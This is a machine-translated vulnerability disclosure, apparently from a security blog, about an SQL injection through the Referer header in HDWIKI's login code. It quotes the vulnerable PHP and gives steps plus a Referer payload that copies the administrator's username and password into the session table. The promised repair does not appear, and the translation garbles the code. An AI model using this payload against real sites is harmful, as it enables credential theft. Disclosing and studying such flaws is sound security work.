HDWIKI chicken ribs 0-day and repair

Author: thanks blog: http://hi.baidu.com/thanks4sec

HDWIKI: http://kaiyuan.hudong.com/

Affected Versions: All HDWIKI versions

 

-----------------------------------

 

After searching for half a day, I couldn't find the echo, so I thought it was a problem.

If you think of a good way to use it, please tell me ~

Model/user. class. php:

Function add_referer (){

If ($ _ SERVER ['HTTP _ referer']) {

$ This-> db-> query ("UPDATE ". DB_TABLEPRE. "session SET referer = '". $ _ SERVER ['HTTP _ referer']. "'where sid = '". base: hgetcookie ('sid '). "'");

}//The problem persists.

}

Functionget_referer (){

$ Session = $ this-> db-> fetch_first ("SELECTreferer FROM ". DB_TABLEPRE. "session WHERE sid = '". base: hgetcookie ('sid '). "'");

If ($ session ['Referer'] = ""){

$ Session ['Referer'] = "index. php ";

} Else {

If (strpos ($ session ['Referer'], 'admin _')! = False ){

$ Session ['Referer'] = "index. php? Admin_main ";

}

}

Return $ session ['Referer'];

}

 

 

 

Go back to www.2cto.com control/user. php

Function dologin (){

$ _ ENV ['user']-> passport_server ('login', '1 ');

If (! Isset ($ this-> post ['submit ']) {// SubmitNullEnter

$ This-> view-> assign ('checkcode', isset ($ this-> setting ['checkcode'])? $ This-> setting ['checkcode']: 0 );

 

$ _ ENV ['user']-> add_referer ();//Injection during login

$ _ ENV ['user']-> passport_server ('login', '2 ');

$ _ ENV ['user']-> passport_client ('login ');

 

If (! Isset ($ this-> setting ['name _ min_length ']) {$ this-> setting ['name _ min_length'] = 3 ;}

If (! Isset ($ this-> setting ['name _ max_length ']) {$ this-> setting ['name _ max_length'] = 15 ;}

$ LoginTip2 = str_replace (array ('3', '15'), array ($ this-> setting ['name _ min_length '], $ this-> setting ['name _ max_length ']), $ this-> view-> lang ['logintip2']);

$ This-> view-> assign ('name _ min_length ', $ this-> setting ['name _ min_length']);

$ This-> view-> assign ('name _ max_length ', $ this-> setting ['name _ max_length']);

$ This-> view-> assign ('logintip2 ', $ loginTip2 );

// $ This-> view-> display ('login ');

$ _ ENV ['block']-> view ('login ');

} Else {

 

...... The following code is omitted:

 

Detailed description:

1. Capture the login package

2. Create a user to log on

3. Modify the package. Only the username and password are retained for the post content. Delete the other content.

For example, username = test & password = test

4. Use burpsuite or nc to modify the referer header, as shown in the following figure:

Admin _ ', username = (SELECT concat (username, 0x2f, password) FROM wiki_user where uid = 1 )#

After submission, the Administrator account and password are assigned to the username field in the wiki_session table.

Therefore, the account password will pop up on the page that calls the wiki_session.username variable (the Administrator and common users are in the wiki_user table ).

 

Note: However, the display of the username or hdwiki_session field is not found.